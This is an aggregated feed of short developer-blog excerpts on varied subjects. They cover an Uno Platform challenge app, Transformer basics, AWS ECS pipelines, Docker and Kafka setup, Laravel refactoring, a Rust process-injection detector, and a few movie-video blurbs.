    This is a submission for the AI Challenge for Cross-Platform Apps - WOW Factor <!-🌟 WOW Factor — What I Built Demo Below is the demo of my project for the AI Challenge for Cross-Platform Apps. 📱 Mobile version (Android & iOS) 🖥️ Windows desktop version 🌐 WebAssembly version 🎞️ Short demo video Create a polished app cover image 2048x1152 for "WisdomFlow — An AI-Powered Inspirational App Built with Uno Platform". Design: center a large smartphone mockup showing a clean quote card UI with a calm soft orange → coral gradient background. Quote card: rounded rectangle, white, subtle drop shadow, serif title text "Today: Courage" and small reflection line beneath. Above the phone, place the app title "WisdomFlow" in elegant serif, subtitle "AI-powered daily inspiration" in small sans. A…  ( 9 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins just dropped a cheeky, rapid-fire roast of the new KPop Demon Hunters movie, calling out every over-the-top moment and plot quirk—yet embracing the film’s sheer fun and spectacle as they tally up the sins. Hungry for more? They’ve got a loaded Linktree, Patreon page and immortal polls to fill out, plus Discord and Reddit hangouts. Don’t forget to follow the sin-squad (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian & Daniel) on Twitter and Instagram for your daily dose of movie nitpicks. Watch on YouTube  ( 6 min )
    Building Delta Health: Frontend Adventures in Empowering Rural Clinics
    I never thought I’d be building healthcare systems for rural clinics. And yet, here I am, late 2025, staring at lines of React code that feel like they might just save lives. I’m a frontend developer. My world usually revolves around components, state, and CSS. But this project “Delta State Health Information & Appointment Booking System” pulled me out of my comfortable bubble and threw me into a reality that’s messy, complex, and astonishingly human. Let me tell you what it’s like. Working on rural healthcare in Delta State isn’t like coding for a SaaS startup in Lagos or Abuja. Here, the constraints are real: intermittent internet, limited tech literacy, stretched clinic staff, and patients whose days are consumed by survival, not appointments. Our challenge as a team wasn’t just to buil…  ( 9 min )
    Inside ChatGPT: Deconstructing "Attention Is All You Need" (Part 1)
    To understand how modern Large Language Models (LLMs) like ChatGPT work, we must first understand the architecture that changed everything: the Transformer. Before we dive into the complex layers, we need to establish why we moved away from previous methods and how the model initially processes language. Before the "Attention Is All You Need" paper, the standard for processing sequential data (like text) was the Recurrent Neural Network (RNN).In an RNN, data is processed sequentially. We give the network an initial state (State 0) along with an input x1 to produce an output y1 and a hidden state. This hidden state is passed forward to the next step, allowing the network to "remember" previous inputs. While intuitive, RNNs suffer from severe limitations, specifically slow computation for l…  ( 9 min )
    AWS community day Workshop: Building Your First DevOps Blue/Green Pipeline with ECS
    In this workshop, I will guide you step by step how to build a Blue-Green deployment pipeline with AWS pipeline and deploys on AWS ECS with EC2. This deployment strategy helps teams to first test an app while routing traffic to a non-prod route, when confirmed that the app functions as expected, then the traffic is routed to prod. In case of any failure, a rollback is initiated for the previously working version hence avoiding downtime. The Infrastructure consists of an Application Load Balancer which exposes the app on Port 80, routes traffic to the autoscaling group managed by ECS, a fleet of EC2 instances running in two AZs for High availability. Each of these instances have ECS agent installed and the necessary software for running our Docker containers. These interact with Aurora Po…  ( 20 min )
    Untitled
    Check out this Pen I made!  ( 6 min )
    The 2025 Advantage: Multi-Stack + UX Thinking + AI Automation
    The dev ecosystem is shifting fast. This blend is helping teams ship better products with fewer bottlenecks - and developers who embrace it are becoming the new industry leaders.  ( 6 min )
    Introducing Nano Banana Pro: Complete Developer Tutorial
    You loved Nano-Banana? Created figurine images of all your friends and ghost face behind all your foes? Here now comes the not-so-nano "Gemini 3 Pro Image" model, that you will all prefer calling Nano Banana Pro! While the Flash model (Nano Banana) brought speed and affordability, the Pro version introduces "thinking" capabilities, search grounding, and high-fidelity 4K output. It's time to go bananas with complex creative tasks! This guide will walk you through the advanced features of Nano Banana Pro using the Gemini Developer API. This guide will cover: Using Nano Banana Pro in Google AI Studio Project setup Initialize the Client Basic Generation (The Classics) The "Thinking" Process Search Grounding High-Resolution 4K Generation Multilingual Capabilities Advanced Image Mixing …  ( 22 min )
    Como apago por completo el autocompletado de VS Code
    Sí, ese soy yo y se preguntarán... Sé que luego de leer el título lo que en verdad se preguntan es "Y quién quiere hacer eso?" Y más en esta época de IAs escribiendo proyectos completos. Bueno, yo, ¿por qué? Por lo que ustedes también saben, me la paso más tiempo borrando y cuidándome de no tocar Tab o Enter o flecha derecha que escribiendo. Así que investigue eso, fin. estos son los que me molestaban a mí, al menos. { "editor.inlineSuggest.enabled": false, "editor.hover.enabled": false, } pero si quieren saber mas Desactivar las sugerencias de autocompletado (IntelliSense) Abre Settings (Ctrl + ,). Busca: "suggest" Desactiva: Editor: Quick Suggestions Editor: Suggest On Trigger Characters Editor: Accept Suggestion On Enter Editor: Suggest Show Words Editor: Snippet Suggestions…  ( 7 min )
    Introducing nenv — A portable, per-project Node.js runtime for Windows (no global install required)
    Most of us have dealt with Node.js version conflicts at some point: One project needs Node 18. Another needs Node 20. A global upgrade breaks something. Corporate or restricted laptops don’t allow installers. CI/CD behaves differently from local environments. Teammates run “slightly different” versions and bugs magically appear. On Linux/macOS, tools like nvm, asdf, volta, and fnm help… So I started experimenting with a simple idea: What if every project had its own Node.js runtime, completely local, portable, and isolated? Just like Python has .venv. That experiment grew into a small open-source tool called nenv. 🚀 nenv — Portable Node.js per project (Windows) nenv is a lightweight script that downloads Node.js directly into your project folder and makes all Node/npm commands use that lo…  ( 7 min )
    When Heaven Teaches You How to Live: A Deep Journey Through Matthew Chapter 6
    There are chapters in Scripture that read like lightning—bright, sudden, unforgettable. Matthew 6 is rain. It is the quiet voice of Jesus calling us into a life not built on fear… This chapter is not a suggestion; it’s an invitation. Matthew 6 is the moment Jesus turns our gaze away from what the world values and lifts it toward what Heaven treasures. It is the chapter where He teaches us how to breathe. It is the chapter where He shows us how to pray. It is the chapter where He tells us why fear dies in the presence of trust. And it is the chapter where He reveals what it means to seek first the Kingdom—not as a slogan, not as a verse we memorize, but as a lifestyle that rearranges the architecture of our entire inner world. This article is a slow walk through that holy terrain. You are n…  ( 12 min )
    Building an AWS-Based RAG Pipeline
    The Generational AI Blind Spot We've got a fantastic new AI coding assistant, but when you ask it about your company's proprietary service architecture, it gives you a generic shrug (or worse, a confident hallucination). Why? Because our AI lives on the general internet, and our team's hard-won knowledge is locked behind firewalls and scattered across tools like Confluence, Slack, and internal documentation. This is a pain point for everyone. As a service developer, we need that agent to understand the nuance of our codebase and team conventions. As a service operator, we can't afford to waste time retracing the steps of a solved production issue - we need the fastest, most reliable fix, instantly. If you're interested in how to systematically manage context for AI coding assistants, che…  ( 9 min )
    The Monolith Strikes Back: When a Monolith Still Beats Microservices
    Here are the moments where a monolith still wins without breaking a sweat: When you spend more time stitching services together than building actual features. When a simple bug fix turns into a safari across eight repos, three pipelines, and a trace ID longer than your weekend. When your “independent deployments” still require team-wide coordination because the contracts can’t sit still. When your startup is running nine services at 50 RPS total and the DevOps bill looks like you're streaming Netflix in 16K. When onboarding a new developer requires a 40-minute architecture TED Talk and a whiteboard marker that gives up halfway. In those moments, a clean, modular monolith starts looking less like nostalgia and more like high-performance strategy. A monolith gives you focus, speed, and clarity. Microservices give you scale and autonomy, but only when you genuinely need them and you're ready to pay the operational tax. Real architectural leadership isn't about chasing trends. It's about aligning tech choices with your team’s execution capacity and your product's actual trajectory. The monolith isn't outdated. It's the adult in the room. I come in peace!  ( 6 min )
    Python by Structure - Class-Based Decorators That Remember
    Timothy was reviewing a performance monitoring system when he stopped on an unfamiliar pattern. "Margaret, this decorator isn't a function - it's a class. I've only ever seen decorators written as functions." Margaret looked over. "Class-based decorators are powerful when you need your decorator to maintain state. What are you looking at?" class CallCounter: """A decorator class to count function calls.""" def __init__(self, func): self.func = func self.count = 0 def __call__(self, *args, **kwargs): self.count += 1 print(f"-> Calling {self.func.__name__}. Call count: {self.count}") return self.func(*args, **kwargs) @CallCounter def process_data(data): """Processes the input data.""" return data.upper() print(process_data("hello…  ( 8 min )
    Payra WooCommerce Plugin Updated — New Branding and Improved Media
    We’ve released an update to the Payra Cash plugin for WordPress/WooCommerce, focused on refreshing the branding and aligning the plugin with the broader Payra product ecosystem. What’s Updated? New Logo — consistent with the updated Payra branding Updated Links — Payra is now a suite of products, so plugin links now point to specific product pages instead of a single homepage New media sources added — including links to dev.to, Hashnode, and the YouTube channel Improved plugin metadata — cleaner, more modern, and aligned with the Payra identity Small UX refinements — clarified docs links, sidebar adjustments, updated info pages This update does not change payment functionality — it’s a lightweight refresh to prepare the plugin for major upcoming features. What’s Coming Next? Future planned updates include: Payment Links integration Subscription billing Smarter on-chain status validation Expanded merchant configuration options  ( 6 min )
    Vehicle Diagnostic Timeline and Dealership Communication Analysis - Volkswagen
    Vehicle Diagnostic Timeline and Dealership Communication Analysis This post documents the vehicle’s diagnostic history in chronological order, followed by a comparison to the dealership’s written statements. All quotes from the dealership representative (Colin) are taken exactly as written. No interpretations or recall references are included. The goal is to present clear facts based on the vehicle’s ODIS engineering log and compare them to the statements made by the seller after the issue was discovered. Diagnostic Timeline All timestamps and mileage readings come directly from the ODIS long scan. October 8, 2024 Module: Brake Electronics May 31, 2025 Module: Body Control June 24, 2025 Module: Access and Start Interface July 18, 2025 (Critical) Module: Transmission selector system This is…  ( 8 min )
    Using DigitalOcean Spaces to Store MySQL Cache Files in PHP
    Redis and Memcached are the gold standard for real-time caching, sometimes you want a simple, file-based approach — and maybe even store those cached files in the cloud for durability and scalability. In this article, I’ll show you how to: Implement a file-based cache for MySQL queries in PHP Upload those cached JSON files to DigitalOcean Spaces Serve cached data efficiently to clients Step 1: Local File-Based Cache in PHP We start with a simple caching mechanism that saves query results into a JSON file: <?php $cacheFile = "cache/users.json"; $cacheTime = 300; // 5 minutes if (file_exists($cacheFile) && (time() - filemtime($cacheFile)) < $cacheTime) { $data = json_decode(file_get_contents($cacheFile), true); } else { $mysqli = new mysqli("localhost", "user", "pas…  ( 7 min )
    How Mental Health Impacts Student Performance (And Why It Matters in a High-Pressure, Digital Learning World)
    Modern students aren’t just dealing with homework and exams anymore. They’re navigating a hyper-connected, always-on world filled with digital distractions, performance pressure, and unrealistic expectations. And here’s something many educators still overlook: 💡 A student’s mental health directly affects their ability to learn, focus, and perform. As teams at NVelUp.care In this post, we’ll break down why mental health plays such a big role in learning—and how schools, parents, and students can build healthier academic habits. 💭 Why Mental Health and Academic Performance Are Deeply Connected Students today face more mental strain than any previous generation. Mental health challenges commonly affecting students include: Depression → low motivation, skipped classes Anxiety → test panic, f…  ( 8 min )
    How We Use AI as Software & Cloud Engineers
    How We Use AI as Software & Cloud Engineers AI has become a big part of our daily work as engineers. It helps us build faster, work smarter, and deliver better solutions. As software engineers, AI assists with writing code, fixing bugs, creating tests, and improving code quality. It acts like a coding partner that speeds up development and reduces mistakes. As cloud engineers, AI helps automate infrastructure, optimize cloud costs, and predict issues before they happen. AI tools analyze systems, scale resources automatically, and keep cloud environments secure. In DevOps, AI improves CI/CD pipelines, scans for vulnerabilities, and speeds up testing. It removes repetitive tasks so we can focus on designing better architectures and solving real problems. AI doesn’t replace engineers — it empowers us. With AI handling routine work, we have more time to build creative, scalable, and intelligent solutions.  ( 6 min )
    🎯 Apache Kafka Single-Node Practice Guide
    Your Personal Message Delivery System Welcome to your hands-on Kafka learning journey! In this guide, we'll build a complete Kafka system on a single machine - perfect for learning, testing, and understanding how everything works together. Think of this as creating your own Digital Post Office on your computer: ┌─────────────────────────────────────────┐ │ YOUR LAPTOP (Single Machine) │ │ │ │ ┌───────────────────────────────┐ │ │ │ KAFKA BROKER (Port 9092) │ │ │ │ Your Post Office │ │ │ ├───────────────────────────────┤ │ │ │ │ │ │ │ 📬 Topic: "customer-orders" │ │ │ │ 📬 Topic: "payment-alerts" │ │ │ │ 📬 Topic: "user-activity" │ │ │ │ …  ( 10 min )
    10 Best AI Deals for Black Friday and Cyber Monday 2025
    Black Friday stopped being about TVs a long time ago. In 2025, the real rush is digital. Solopreneurs aren’t hunting for gadgets anymore - they’re looking for software that gives them back the one resource they’re always short on: time. Website: jasper.ai Website: notion.so Website: clickup.com Website: grammarly.com Website: Halper.ai Website: surferseo.com Website: canva.com It’s easy to get swept up in the Cyber Week chaos. But the best AI investments aren’t impulsive - they’re intentional. Integration: Does it work with your current setup? Automation depth: Will it truly replace repetitive tasks or just rename them? Support: Is there a real team behind it, or just a chatbot? Scalability: Will it still fit when your client base triples? “In 2025, the best AI tools don’t just save time - they restore mental space,” says tech strategist Lena Morales. “Automation isn’t replacing entrepreneurs. It’s giving them their evenings back.” These are the standout AI tools worth exploring during Black Friday and Cyber Monday 2025. They help you communicate faster, stay organized, streamline decision-making, and reduce the mental load that comes with running a business alone. The discounts are great, but the real value lies in choosing systems that give you time back - time to focus, time to grow, and time to enjoy the parts of your work that actually matter. Whether you're creating content with Jasper, managing projects with ClickUp, or using Halper to centralize your entire workflow, one thing is clear: automation isn’t an add-on in 2025. It’s the foundation of a sustainable business. AI doesn’t replace your work. It makes the work lighter - and gives your hours back to you.  ( 9 min )
    Most Affordable AI Rank Tracking Tools
    As AI engines like ChatGPT, Gemini, Perplexity, Claude, Copilot, and Grok begin to replace traditional search behavior, businesses are starting to realize a simple truth: it no longer matters only how you rank on Google—what matters is whether AI systems mention you when users ask questions. This new reality has given rise to a fast-growing category known as AI rank tracking. These tools monitor how often your brand appears inside AI-generated responses and how you compare to competitors in real conversations. But while the market is evolving quickly, many solutions are priced for large enterprises, not small businesses. That’s why affordability has become one of the biggest concerns for brands, agencies, and founders looking to understand their visibility inside AI engines without spendin…  ( 10 min )
    How I’m Building a Racing-Analysis Web App from Raw Telemetry
    How I’m Building a Racing-Analysis Web App from Raw Telemetry (And How You Can Copy-Paste the Whole Stack) I spent last winter watching GT4 cars throw 32768-lap grenades into their data streams while the real lap count quietly hid in the time stamps. The ECU clock drifted like a cheap Rolex, but the GPS trace never lied. That mess is now becoming a Next.js app that turns any $200 OBD+GPS logger into a pro-level race-eng tool. Below is the exact blueprint I’m coding to, parameter by parameter. Every time the car crosses the start/finish line I collapse the last chunk of rows into a single document that lands in MongoDB (Atlas free tier). Shape: { _id: ObjectId, Notice I store arrays, not rows – one lap = one document = lightning-fast reads. Pseudo-code (runs in Node API route): const F…  ( 8 min )
    Lombok + Gradle + IntelliJ (Java 21) — Guia rápido
    Passo a passo resumido para configurar o Lombok no IntelliJ com Gradle usando Java 21. Instale o plugin Lombok no IntelliJ Settings → Plugins → Marketplace → Lombok → Install → Reinicie o IDE. Habilite Annotation Processing Settings → Build, Execution, Deployment → Compiler → Annotation Processors → marque Enable annotation processing. Configure o Java 21 (toolchain) no Gradle Adicione o Lombok corretamente nas dependências (main e test) do build.gradle dependencies { compileOnly 'org.projectlombok:lombok:1.18.38' annotationProcessor 'org.projectlombok:lombok:1.18.38' testCompileOnly 'org.projectlombok:lombok:1.18.38' testAnnotationProcessor 'org.projectlombok:lombok:1.18.38' // ... your others dependencies } Não use implementation para Lombok. Sincronize e compile No IntelliJ: clique em Load/Reload Gradle Changes (ícone do elefante). No terminal: ./gradlew clean build Teste rápido import lombok.*; @Data @Builder class Demo { private String name; } Se Demo.builder() e getName() existirem, está tudo certo. Para validar, você poderá gerar uma classe de Teste, como no exemplo abaixo. import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.*; class DemoTest { @Test void testBuilderAndGetter() { Demo demo = Demo.builder().name("Jonathas").build(); assertEquals("Jonathas", demo.getName()); } } Dica!! Após alterar o build.gradle, sempre dê um clean + build ou Reload Gradle no IDE.  ( 6 min )
    A practical guide to refactoring complex database queries in Laravel
    When I opened our Repository Class file and saw a single method spanning 194 lines with nested subqueries, complex conditionals, and duplicated logic, I knew we had a problem. The code worked, but it was a maintenance nightmare. Fast forward three weeks: the same functionality now lives in clean, composable, testable components. The result? 78% less code complexity and a architecture that actually makes sense. Here's how we did it. Our conversation repository had methods that looked like this: public function getAllBy(TeamMemberId | CandidateId $id, ConversationMetaDto $meta): CursorPaginatorDto { // 194 lines of this... $query = DB::table('conversation') ->select( 'c.*', DB::raw('(SELECT _m.content FROM message WHERE...) AS last_message'), …  ( 11 min )
    How Becoming a Parent Helped Me Notice the Small Things
    I never thought I’d be the kind of person who took pictures of everything my baby did. Before I became a parent, I used to laugh when people showed me twenty nearly identical photos of their kid doing something simple—like eating peas or staring at a lamp. I’d smile politely and pretend to understand. Now I’m that person. I became that person the moment I held my son for the first time. Something in me shifted. It didn’t happen gradually. It happened all at once. His fingers curled around mine, so tiny and warm, and suddenly every second felt important. Not in a dramatic way—just in a very quiet, very tender way. I wanted to remember everything, even the things that didn’t seem special. But the funny part is: at first, I completely forgot about pictures. The first week was a blur of diaper…  ( 11 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Bill Simmons and Kyle Brandt Take on “Weird Science” The Ringer’s dynamic duo revisits John Hughes’s 1985 cult classic, Weird Science, starring Anthony Michael Hall, Kelly LeBrock, and Ilan Mitchell-Smith. Expect an irreverent deep dive into the film’s sex, drugs, rock ’n’ roll moments (and, yes, all the chips, dips, chains, and whips). Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this Rewatchables episode is packed with 80s nostalgia, insider anecdotes, and plenty of laughs. Don’t forget to subscribe to The Ringer channels for more movie-centric banter! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less Cinema Sins delivers a playful, fast-paced breakdown of all the “sins” in the new KPop Demon Hunters movie, complete with their signature humor and razor-sharp observations. If you’ve ever wondered what a Cinema Sins roast of this flick sounds like, this is it. Want more? Dive into their network—TV Sins, Commercial Sins, podcasts—and hit up their website for the latest updates. Don’t forget to fill out the sinful poll, back them on Patreon, or say hi on Discord and Reddit. Shout-outs to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel for keeping the sin train rolling! Watch on YouTube  ( 6 min )
    Asking n People (n Generative AI Models) Simultaneously
    Summary Discussion on using Generative AI APIs Efficiently inquiring multiple models in parallel Concept: Generative AI models are like humans, and having n models equates to having "n different people". By making parallel inquiries to n models, you can experience asking n people simultaneously. This can be achieved by making API calls in parallel. Example: pgpt.py cosense code Background As Fast as Possible. As Smooth as Possible. The back-and-forth with ChatGPT can feel primitive and leaves room for improvement. Engineers using built-in AI agents like Copilot, Cline, and Cursor might never want to return to rudimentary copy-pasting. This isn't limited to coding, but applies to inquiries in general. Whether asking about unfamiliar terms or getting ten …  ( 8 min )
    Combine retry feature and logging in second issue
    Repository: CLImanga Check chapterImage download response for CLImanga fix: retry download if failed During the development of CLImanga, I noticed a small but impactful issue: stop immediately and not attempt to retry. This made the download process unreliable, especially when handling multiple chapters or large manga series. The goal of this PR was to implement a retry mechanism to improve reliability and provide visibility into download attempts using the custom logging system I implemented in the previous PR. The retry mechanism needed to satisfy the following: Attempt downloads multiple times (set a maximum of 5 retries) if an error occurs. Log each failed attempt with details such as attempt number, URL, and error reason. Include a small delay between retries to avoid overwhelming the…  ( 7 min )
    I Built a WebSocket Server to Stream iPhone LiDAR and IMU Data
    The Hardware Setup Problem I kept having the same experience. Some idea would come up that needed depth data or IMU readings. I'd think about it for a few minutes, then realize I'd have to order an Intel RealSense or some IMU breakout board, wait for shipping, figure out the drivers, wire everything up. The idea would just die there. This wasn't occasional. It happened enough times that I decided to look at what hardware I already had. I was looking at specs for various LiDAR sensors when I thought to check what my iPhone actually had. Turns out the 12 Pro and newer models have: Time-of-flight LiDAR measuring 0.5 to 5 meters at 10fps 1080p camera running at 30fps IMU sampling at 200Hz GPS ARKit doing visual-inertial odometry in the background constantly Pretty much everything you'd wire …  ( 13 min )
    Digital Sabbatical and Outernet (Bite-size Article)
    Introduction A Digital Sabbatical refers to intentionally stepping away from the digital whirlpool of work, social media, news, and constant notifications for several hours or even a few days. It doesn’t mean abandoning your computer or smartphone entirely. Rather, it is about creating temporary moments of disconnection to refresh your mind and recover from information fatigue. The term Outernet is not a commonly used word. In this article, however, I define it as “the physical world where experiences and bodily senses take priority over data.” If the Internet is an “information ocean” flowing through radio waves and fiber-optic cables, then the Outernet is the “ground-level world” we perceive with our senses: the weight of the air, footsteps on a sidewalk, the depth of a landscape. It …  ( 7 min )
    Focus Tab: The Minimalist Browser Tool That Supercharges Your AI Workflow
    In a world where AI tools like ChatGPT, Claude, and GitHub Copilot are becoming part of our everyday work, one challenge remains unchanged: 👉 Our attention is constantly under attack. Even with powerful AI assistants, productivity collapses when your browser is drowning in 15, 30, or 50 open tabs. It turns your browser into a calm, distraction-free workspace so your AI sessions actually stay productive. 🚀 What Is Focus Tab? Focus Tab is a simple Chrome extension that hides all tabs except the one you're currently using — and restores them with one click. It’s built for one purpose: Eliminate digital clutter instantly so you can stay deeply focused. Whether you're working, studying, coding, or collaborating with AI tools, Focus Tab creates a single-task environment that keeps your mind clear. ✨ Key Features 🧘‍♀️ Focus Mode 🔄 One-Click Restore ⚡ Lightweight & Fast 🔒 Privacy-First 🧭 Simple Interface 💡 Why Focus Tab Matters (Especially in the AI Era) ➡️ to brainstorm But AI is only powerful when you’re focused. 🔥Here’s how Focus Tab enhances your AI workflow: 1️⃣ Reduces Cognitive Load 2️⃣ Helps You Stay in Deep Work Mode 3️⃣ Prevents Tab Overload During Research 4️⃣ Boosts Performance 5️⃣ Great for Students & Developers 🧠 How Focus Tab Works It’s extremely simple: 1️⃣ Click the Focus Tab icon in your Chrome toolbar. No setup. 🔐 Privacy You Can Trust Focus Tab does not collect or share any personal information. 🧩 Final Thoughts: Minimal Tools Matter in an AI World As AI gets more advanced, our tools often get more complex — dashboards, prompts, sidebars, plugins, integrations. But sometimes, the most powerful productivity booster is simplicity. Focus Tab creates a calm, intentional digital space where your AI tools can shine. If you’re looking for a lightweight way to boost focus, reduce tab chaos, and get more value from AI assistants, Focus Tab is one of the easiest upgrades you can make.  ( 8 min )
    Building a Process Injection Detector in Rust
    I got tired of manually checking if processes were tampered with, so I built Ghost. It scans running processes and flags anything that looks like code injection. Took a few months of evenings and weekends. What it detects: The usual injection techniques malware uses: RWX memory regions (shouldn't exist in normal programs) Plus YARA integration so you can throw custom rules at it. Why Rust: Needed something that could do low-level memory operations without constantly worrying about segfaults and buffer overflows. Rust's type system caught a bunch of bugs during development that would've been annoying to track down in C. Performance was important too since I wanted this to run continuously without killing the system. Can scan 200 processes in about 5 seconds now. Cross-platform nightmare: Wi…  ( 8 min )
    Dear Developer: Your Database Isn't a File Cabinet!
    Hey guys! I’m an Engineering Manager, and I’m sharing some notes deep from the development trenches. I wanted to kick off my writing journey by talking about a massive performance mistake that I see all the time when I do code reviews. It’s about how we treat our Database (or DB for short). In my experience, several issues crop up when databases aren't utilized to their full potential. Look, we often treat the DB like a basic File Cabinet. We ask for raw data, it returns a massive file, and then WE (the application layer) have to do all the complicated work. That's kind of how the front-end treats us! But here's the crazy part: your database is actually a super-powerful, specialized machine built for searching, connecting, and crunching data. When you force your application to handle all t…  ( 9 min )
    Building Real-Time Lakehouse with S3 Tables, AWS Glue, and Apache Doris
    We built a real-time lakehouse with S3 Tables, AWS Glue, and Apache Doris. In this solution, S3 Tables stores data in the Apache Iceberg format on Amazon S3. AWS Glue manages and organizes metadata and schema, providing a single catalog that connects all resources. And Apache Doris runs sub-second queries directly on those Iceberg tables: no ETL, no data copies, no complex architecture. Together, the S3 Tables + AWS Glue + Apache Doris form a real-time lakehouse that combines the openness of a data lake with the high performance of a data warehouse, providing a key data foundation for AI and agentic workloads. You get: Unified metadata for easy table discovery and governance Open Apache Iceberg tables on S3 with ACID, time-travel, and schema evolution A high-performance query engine wi…  ( 7 min )
    ClausTk - A Tkinter library for creating New Year's and Christmas-themed interfaces
    The New Year is coming soon, and I've decided to create ClausTk—a library that will allow you to create vibrant and festive interfaces in Tkinter. I'd love to hear your feedback and create your own programs using ClausTk. GitHub: https://github.com/limafresh/ClausTk Documentation: https://limafresh.github.io/ClausTk/ Pip: pip install claustk Screenshot (simple program example): Code example: import claustk def click_btn(): print("Merry Christmas and Happy New Year!") root = claustk.ClausWindow() button = claustk.ClausRoundedButton(root, text="Click me!", command=click_btn) button.pack(padx=10, pady=10) root.happynewyear()  ( 6 min )
    Top 5 AI Tools Every Developer Should Try in 2025
    Plus a simple tip to avoid inbox overload when testing them The AI ecosystem is moving fast, and 2025 has already delivered some powerful tools that can seriously upgrade your developer workflow. Whether you write code, design apps, or automate tasks, these tools have become part of my daily setup - and they’re absolutely worth exploring. Here are my top five picks this year: Cursor AI - The AI-First Code Editor Cursor has changed how many developers write code. It doesn’t just autocomplete - it understands your project, rewrites files, explains complex logic, and acts like a real pair programmer. If you haven’t tried an AI-native IDE yet, start here. Replit AI / Replit Agent Replit’s AI agent is great for spinning up prototypes quickly. It can scaffold a full-stack app in minutes, run…  ( 7 min )
    The Future of Messaging: Why Telegram Mini Apps Are Gaining Popularity
    Introduction In today’s fast-paced digital world, messaging platforms have evolved far beyond simple text exchanges. One of the most exciting developments in this space is the rise of Telegram mini apps. These compact applications, embedded directly within the Telegram platform, offer users a seamless experience without the need to download separate apps. For both casual users and businesses, these mini apps provide an innovative way to interact, share, and perform tasks all within a single interface. Unlike traditional apps, which can clutter devices and demand storage, Telegram mini apps bring functionality and convenience together in one place, making them increasingly attractive to millions worldwide. Telegram mini apps stand out in the crowded messaging market due to their speed, co…  ( 9 min )
    Google Gemini 3 Pro — Key Features, Ecosystem Updates, and Technical Evaluations
    Google’s Gemini 3 Pro represents a clear shift in Google’s AI direction — moving toward deeper reasoning capabilities, long-context understanding, and more autonomous agentic workflows across the ecosystem. I curated a collection that brings together the most useful resources about Gemini 3 Pro: Core model features Ecosystem releases Technical evaluations Tooling updates Early benchmarks and community analysis 📚 Full curated collection here: 👉 https://www.culink.io/teamculink/gemini-3-pro Whether you're exploring reasoning models, building agents, or researching multimodal systems, this collection gathers the most helpful links in one place. If you’ve come across other high-quality Gemini 3 resources, feel free to recommend — I’ll keep expanding the list.  ( 6 min )
    OSD600: Lab 9
    This week we're releasing version 1.0.0 of our repository context packager. This was an interesting process, and easier than I expected, but a little tricky to set up right. I followed this guide to packaging python project using PyPI. I chose the backend setuptools since it is the most traditional and widely used packaging tool. First thing I needed to do was restructure my project. I needed to move everything into a repository_context_packager directory and rename my main script to scan_repo.py with an underscore, because Python packaged need underscores. I already had an __init__.py file, but had to move it into the main directory, so this ended up being the new directory structure: Next I created the pyproject.toml file to configure the package metadata, dependencies, and the CLI ent…  ( 8 min )
    Building forms using React Hook Form
    Hey folks! While taking my online React course, I quickly discovered something: forms are everywhere. Whether you’re buying groceries online, booking a table, signing in, paying fees, or typing questionable prompts into an AI model at 2 AM — you’re dealing with forms. Since I wanted my portfolio to look a little less “junior developer on day 3,” I decided to learn a solid form library alongside React. The first one on my list: React Hook Form (RHF). After going through the docs and doing a healthy amount of trial-and-error (emphasis on error), here are some useful insights I picked up. Hopefully they help you skip a few of my mistakes. getValues() gives you a snapshot, not a subscription getValues() returns the current form data at the exact moment you call it. Use it in: event handler…  ( 7 min )
    Building a Hotel Booking System with laravel, Inertia.js and Vue.js
    Introduction Creating a modern room booking system is a great way to learn full-stack JavaScript development. This demo project combines Inertia.js, Vue.js, Tabler, and Bootstrap to create a responsive user interface, while Stripe handles online payments securely. The system includes a customer panel, an admin panel, and a dashboard for tracking bookings and payments. This project demonstrates a Room Booking System with the following features: 1. Customer Panel Keep track of upcoming reservations Monitor payment confirmations View a summary of total bookings and spending Create new reservations and select payment options Track current and past bookings View payment status and receipts The panel uses Inertia.js + Vue.js to give a smooth, SPA-like experience, with Tabler components and Boo…  ( 7 min )
    Simply Docker Series (Ubuntu-Install)
    🐧 Linux Users — Let’s Set Up Docker (Ubuntu/Debian Style 🚀) Installing Docker on Linux works a little differently, but don’t worry — just follow these simple steps and you’ll have a clean Docker setup in no time. 🔹 Step 1: Update Your System & Install Essentials Before installing Docker, refresh your package list and install a few tools that help your system download Docker safely: sudo apt update sudo apt install ca-certificates curl gnupg ✔ ca-certificates → secure downloads 🔹 Step 2: Add Docker’s Official GPG Key This key ensures the Docker packages you download are authentic and safe. sudo install -m 0755 -d /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg sudo chmod a+r /etc/apt/keyrings/docker.gpg Thi…  ( 7 min )
    A log system for the CLI tool
    Repository: CLImanga create LOG system (file based) for CLImanga feat: add log system The first issue I chose to work on for CLImanga was surprisingly simple at first glance: "Create a logging system for the project." Before opening this PR, I had never built a logging system in Go. printf in C console.log console.error And honestly, I believed those were enough for most programs. But as I began exploring the issue, I realized a real project requires far more like: Persistent logs Structured messages Error-level separation Execution tracing Debug-friendly information (file, line, timestamp) This PR became my first deep dive into designing a custom, project-specific logging system. Based on the issue and discussions with the project owner, the logging system needed to: Write logs to a fixed…  ( 7 min )
    my understanding of crud applications,controllers, and middlewares.
    Okay, before we start - quick disclaimer: I am in no way a professional. I'm just typing this stuff here because I'm too lazy to write notes in my book. Now, let's begin! To me, CRUD applications feel like the backbone of many systems. They help us Create, Read, Update, and Delete data - you know, the stuff everyone knows. But during my adventure in the world of CRUD, I seemed to have found another layer, a deeper mystery so to speak. Long story short, I basically had to understand the difference between middleware and controllers. To be honest, I don't really know where to draw the line completely, but my knowledge has evolved since last time - I'll tell you that! I used to think that anything with app.use() was middleware (not my proudest moment, to be honest - don't judge! Also, if you're planning to, please notice the #newbie hashtag - thanks!). My Middleware vs Controller Revelation Code exmaple: just think of middlewares as waiters: Grinds the beans Steams the milk Checks if you paid Then passes it along "Next!" then controllers they are the ones who: Puts everything together Adds the final touches Hands you the finished drink "Here's your coffee!" (beautiful illustration analogy btw ) The Order Matters Saga Anyway, let's not glaze Sam right now. I'm quite happy I've gained this knowledge! Follow me to see my next blog on 